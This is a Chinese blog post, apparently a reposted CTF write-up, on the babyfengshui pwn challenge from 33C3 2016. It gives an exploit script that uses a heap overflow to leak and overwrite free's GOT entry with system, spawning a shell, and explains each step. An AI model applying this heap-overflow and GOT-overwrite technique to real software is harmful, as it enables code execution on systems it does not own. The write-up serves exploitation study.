本文主要是介绍从babyfengshui_33c3_2016中提升抽象能力,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
直接分析WP:
Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')
Del(0)#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)p.interactive()
来自这位师傅
首先这个输入检查机制不必多说,绕过检查机制,导致堆溢出是本题的关键。
接下来我们来关注两个重点的问题,,,就是 “往某个地址写东西“” ,这句话的利用:
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
这其实就是在修改description处的用户数据区的值,原本要显示的第二个堆中存着的堆地址被改变。
导致直接去显示了got表中free函数的函数地址,这里比较巧,elf.got[,]和图中那个sub_80486bb的第一个地址一样,都是可以被写的地址。
Upd(1, 0x4, p32(sys_addr))
Del(2)
再来看这个,利用之前传入的free.got表的地址,再利用该函数往该地址写入数据的功能,导致本来是要向原本存储的第一个堆块的地址处写数据改为向free.got表处写数据,直接导致free.got表处的free函数的地址被修改,,,,而后执行system(“/bin/sh\x00”)
有一点比较离谱的是,这里free的参数是个"/bin/sh\x00"该字符串的地址
这篇关于从babyfengshui_33c3_2016中提升抽象能力的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!